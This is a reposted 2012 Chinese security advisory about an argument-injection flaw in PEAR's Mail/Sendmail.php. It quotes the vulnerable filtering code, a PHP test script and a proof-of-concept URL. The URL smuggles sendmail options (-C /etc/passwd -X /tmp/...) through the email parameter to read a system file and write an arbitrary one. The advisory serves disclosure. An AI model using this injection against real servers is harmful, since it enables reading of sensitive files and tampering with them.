作家
登录

所有PEAR的Mail函数包含任意文件读写漏洞

作者: 来源: 2012-06-12 19:29:17 阅读 我要评论

出现问题的地方位于Sendmail.php

......
if (!isset($from)) {
return PEAR::raiseError('No from address given.');
} elseif (strpos($from, ' ') !== false ||
strpos($from, ';') !== false ||
strpos($from, '&') !== false ||
strpos($from, '`') !== false) {
return PEAR::raiseError('From address specified with dangerous characters.');
}

$from = escapeShellCmd($from);
$mail = @popen($this->sendmail_path . (!empty($this->sendmail_args) ? ' ' . $this->sendmail_args : '') . " -f$from -- $recipients", 'w');
if (!$mail) {
return PEAR::raiseError('Failed to open sendmail [' . $this->sendmail_path . '] for execution.’);
}
……

可以看到$from 变量的过滤并不完全,由于escapeShellCmd会将等字符替换为空,即可绕过对空格的检查,而escapeshellcmd本身并不检查对于参数的调用,所以导致安全漏洞的发生。

漏洞测试:


<?php
ini_set('include_path',ini_get('include_path').':/usr/local/lib/php/PEAR:');
require_once("Mail.php");
$from = "From: " . $_REQUEST['email'] . “rn”;
$to =
“xxxxxxx@zzzz.com”;
$subj = “subscription request”;
$body = “subscribe me”;
$hdrs = array(
“To” => $to,
“Cc” => $cc,
“Bcc” => $bcc,
“From” => $from,
“Subject” => $subject,
);
$body=”test”;
$mail =& Mail::factory(’sendmail’);
$mail->send($to, $hdrs, $body);
?>

http://www.80sec.com/index.php?1=3&email=xxxxx%09-C%09/etc/passwd%09-X%09/tmp/wokao%09zzz@x%09.com&l=2&1=3

即可看到此漏洞的利用。

漏洞影响:所有PEAR的Mail函数包
漏洞状态:通知官方


  推荐阅读

  BigACE username参数SQL注入漏洞

影响版本: Kevin Papst BigACE 2.5漏洞描述: BUGTRAQ ID: 34920 BIGACE是免费的Web内容管理系统,可帮助创建和管理网站。 在注册新用户时BIGACE没有正确地过滤对username参数的输入,远程攻击者可以提交恶意请求执行>>>详细阅读


本文标题:所有PEAR的Mail函数包含任意文件读写漏洞

地址:http://www.17bianji.com/anquan/buding/1732.html

关键词: 探索发现

乐购科技部分新闻及文章转载自互联网,供读者交流和学习,若有涉及作者版权等问题请及时与我们联系,以便更正、删除或按规定办理。感谢所有提供资讯的网站,欢迎各类媒体与乐购科技进行文章共享合作。

网友点评
自媒体专栏

评论

热度

精彩导读
栏目ID=71的表不存在(操作类型=0)